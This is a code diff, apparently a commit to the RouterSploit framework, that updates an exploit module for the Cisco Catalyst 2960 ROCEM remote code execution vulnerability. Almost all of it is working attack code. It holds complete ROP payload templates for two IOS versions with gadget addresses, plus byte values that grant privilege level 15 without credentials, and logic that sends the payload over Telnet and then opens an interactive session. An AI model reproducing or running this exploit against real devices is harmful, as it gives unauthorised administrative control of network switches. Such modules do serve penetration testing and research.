1- import socket
2- import telnetlib
31from routersploit .core .exploit import *
42from routersploit .core .tcp .tcp_client import TCPClient
3+ from routersploit .core .telnet .telnet_client import TelnetClient
54
65
7- class Exploit (TCPClient ):
6+ class Exploit (TCPClient , TelnetClient ):
87 __info__ = {
98 "name" : "Cisco Catalyst 2960 ROCEM RCE" ,
109 "description" : "Module exploits Cisco Catalyst 2960 ROCEM RCE vulnerability. "
@@ -37,126 +36,126 @@ def __init__(self):
3736 # Cisco Catalyst 2960 IOS 12.2(55)SE1
3837 {
3938 "template" : (
40- "\xff \xfa \x24 \x00 " +
41- "\x03 CISCO_KITS\x01 2:" +
42- "A" * 116 +
39+ b "\xff \xfa \x24 \x00 " +
40+ b "\x03 CISCO_KITS\x01 2:" +
41+ b "A" * 116 +
4342 # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
44- "\x00 \x00 \x37 \xb4 " +
43+ b "\x00 \x00 \x37 \xb4 " +
4544 # next bytes are shown as offsets from r1
4645 # +8 address of pointer to is_cluster_mode function - 0x34
47- "\x02 \x2c \x8b \x74 " +
48- "{FUNC_IS_CLUSTER_MODE}" +
46+ b "\x02 \x2c \x8b \x74 " +
47+ b "{FUNC_IS_CLUSTER_MODE}" +
4948 # +16(+0) r1 points here at second gadget
50- "BBBB" +
49+ b "BBBB" +
5150 # +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
52- "\x00 \xdf \xfb \xe8 " +
51+ b "\x00 \xdf \xfb \xe8 " +
5352 # +8
54- "CCCC" +
53+ b "CCCC" +
5554 # +12
56- "DDDD" +
55+ b "DDDD" +
5756 # +16(+0) r1 points here at third gadget
58- "EEEE" +
57+ b "EEEE" +
5958 # +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
60- "\x00 \x06 \x78 \x8c " +
59+ b "\x00 \x06 \x78 \x8c " +
6160 # +8 r1+8 = 0x022c8b60
62- "\x02 \x2c \x8b \x60 " +
61+ b "\x02 \x2c \x8b \x60 " +
6362 # +12
64- "FFFF" +
63+ b "FFFF" +
6564 # +16(+0) r1 points here at fourth gadget
66- "GGGG" +
65+ b "GGGG" +
6766 # +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
68- "\x00 \x6b \xa1 \x28 " +
69- "{FUNC_PRIVILEGE_LEVEL}" +
67+ b "\x00 \x6b \xa1 \x28 " +
68+ b "{FUNC_PRIVILEGE_LEVEL}" +
7069 # +12
71- "HHHH" +
70+ b "HHHH" +
7271 # +16(+0) r1 points here at fifth gadget
73- "IIII" +
72+ b "IIII" +
7473 # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
75- "\x01 \x48 \xe5 \x60 " +
74+ b "\x01 \x48 \xe5 \x60 " +
7675 # +8 r1 points here at third gadget
77- "JJJJ" +
76+ b "JJJJ" +
7877 # +12
79- "KKKK" +
78+ b "KKKK" +
8079 # +16
81- "LLLL" +
80+ b "LLLL" +
8281 # +20 original execution flow return addr
83- "\x01 \x13 \x31 \xa8 " +
84- ":15:" + "\xff \xf0 "
82+ b "\x01 \x13 \x31 \xa8 " +
83+ b ":15:" + b "\xff \xf0 "
8584 ),
8685 "func_is_cluster_mode" : {
8786 # +12 set address of func that rets 1
88- "set" : "\x00 \x00 \x99 \x80 " ,
87+ "set" : b "\x00 \x00 \x99 \x80 " ,
8988 # unset
90- "unset" : "\x00 \x04 \xea \x58 "
89+ "unset" : b "\x00 \x04 \xea \x58 "
9190 },
9291 "func_privilege_level" : {
9392 # +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr;
94- "set" : "\x00 \x12 \x52 \x1c " ,
93+ "set" : b "\x00 \x12 \x52 \x1c " ,
9594 # unset
96- "unset" : "\x00 \x04 \xe6 \xf0 "
95+ "unset" : b "\x00 \x04 \xe6 \xf0 "
9796 }
9897 },
9998
10099 # Cisco Catalyst 2960 IOS 12.2(55)SE11
101100 {
102101 "template" : (
103- "\xff \xfa \x24 \x00 " +
104- "\x03 CISCO_KITS\x01 2:" +
105- "A" * 116 +
102+ b "\xff \xfa \x24 \x00 " +
103+ b "\x03 CISCO_KITS\x01 2:" +
104+ b "A" * 116 +
106105 # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
107- "\x00 \x00 \x37 \xb4 " +
106+ b "\x00 \x00 \x37 \xb4 " +
108107 # next bytes are shown as offsets from r1
109108 # +8 address of pointer to is_cluster_mode function - 0x34
110- "\x02 \x3d \x55 \xdc " +
111- "{FUNC_IS_CLUSTER_MODE}" +
109+ b "\x02 \x3d \x55 \xdc " +
110+ b "{FUNC_IS_CLUSTER_MODE}" +
112111 # +16(+0) r1 points here at second gadget
113- "BBBB" +
112+ b "BBBB" +
114113 # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
115- "\x00 \xe1 \xa9 \xf4 " +
114+ b "\x00 \xe1 \xa9 \xf4 " +
116115 # +8
117- "CCCC" +
116+ b "CCCC" +
118117 # +12
119- "DDDD" +
118+ b "DDDD" +
120119 # +16(+0) r1 points here at third gadget
121- "EEEE" +
120+ b "EEEE" +
122121 # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
123- "\x00 \x06 \x7b \x5c " +
122+ b "\x00 \x06 \x7b \x5c " +
124123 # +8 r1+8 = 0x23d55c8
125- "\x02 \x3d \x55 \xc8 " +
124+ b "\x02 \x3d \x55 \xc8 " +
126125 # +12
127- "FFFF" +
126+ b "FFFF" +
128127 # +16(+0) r1 points here at fourth gadget
129- "GGGG" +
128+ b "GGGG" +
130129 # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
131- "\x00 \x6c \xb3 \xa0 " +
132- "{FUNC_PRIVILEGE_LEVEL}" +
130+ b "\x00 \x6c \xb3 \xa0 " +
131+ b "{FUNC_PRIVILEGE_LEVEL}" +
133132 # +12
134- "HHHH" +
133+ b "HHHH" +
135134 # +16(+0) r1 points here at fifth gadget
136- "IIII" +
135+ b "IIII" +
137136 # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
138- "\x01 \x4a \xcf \x98 " +
137+ b "\x01 \x4a \xcf \x98 " +
139138 # +8 r1 points here at third gadget
140- "JJJJ" +
139+ b "JJJJ" +
141140 # +12
142- "KKKK" +
141+ b "KKKK" +
143142 # +16
144- "LLLL" +
143+ b "LLLL" +
145144 # +20 original execution flow return addr
146- "\x01 \x14 \xe7 \xec " +
147- ":15:" + "\xff \xf0 "
145+ b "\x01 \x14 \xe7 \xec " +
146+ b ":15:" + b "\xff \xf0 "
148147 ),
149148 "func_is_cluster_mode" : {
150149 # +12 set address of func that rets 1
151- "set" : "\x00 \x00 \x99 \x9c " ,
150+ "set" : b "\x00 \x00 \x99 \x9c " ,
152151 # unset
153- "unset" : "\x00 \x04 \xeA \xe0 "
152+ "unset" : b "\x00 \x04 \xeA \xe0 "
154153 },
155154 "func_privilege_level" : {
156155 # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr;
157- "set" : "\x00 \x27 \x0b \x94 " ,
156+ "set" : b "\x00 \x27 \x0b \x94 " ,
158157 # unset
159- "unset" : "\x00 \x04 \xe7 \x78 "
158+ "unset" : b "\x00 \x04 \xe7 \x78 "
160159 }
161160 }
162161 ]
@@ -172,13 +171,12 @@ def run(self):
172171
173172 print_status ("Trying to connect to Telnet service on port {}" .format (self .telnet_port ))
174173
175- try :
176- s = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
177- s .connect ((self .target , int (self .telnet_port )))
178-
174+ tcp_client = self .tcp_connect ()
175+ if tcp_client :
176+ response = self .tcp_recv (tcp_client , 1024 )
179177 print_status ("Connection OK" )
180- print_status ("Received bytes from telnet service: {}" .format (repr (s . recv ( 1024 ) )))
181- except Exception :
178+ print_status ("Received bytes from telnet service: {}" .format (repr (response )))
179+ else :
182180 print_error ("Connection failed" )
183181 return
184182
@@ -191,25 +189,25 @@ def run(self):
191189 print_status ("Unsetting credless privilege 15 authentication" )
192190
193191 print_status ("Sending cluster option" )
194- s . send ( payload )
195- s . close ( )
192+ self . tcp_send ( tcp_client , payload )
193+ self . tcp_close ( tcp_client )
196194
197195 print_status ("Payload sent" )
198196
199197 if self .action == 'set' :
200198 print_status ("Connecting to Telnet service..." )
201- try :
202- t = telnetlib . Telnet ( self . target , int ( self . telnet_port ))
203- t . interact ( )
204- except Exception :
199+ telnet_client = self . telnet_connect ()
200+ if telnet_client :
201+ self . telnet_interactive ( telnet_client )
202+ else :
205203 print_error ("Exploit failed" )
206204 else :
207205 print_status ("Check if Telnet authentication was set back" )
208206
209207 def build_payload (self ):
210208 payload = self .payloads [self .device ]['template' ]
211- payload = payload .replace ("{FUNC_IS_CLUSTER_MODE}" , self .payloads [self .device ]['func_is_cluster_mode' ][self .action ])
212- payload = payload .replace ("{FUNC_PRIVILEGE_LEVEL}" , self .payloads [self .device ]['func_privilege_level' ][self .action ])
209+ payload = payload .replace (b "{FUNC_IS_CLUSTER_MODE}" , self .payloads [self .device ]['func_is_cluster_mode' ][self .action ])
210+ payload = payload .replace (b "{FUNC_PRIVILEGE_LEVEL}" , self .payloads [self .device ]['func_privilege_level' ][self .action ])
213211
214212 return payload
215213
0 commit comments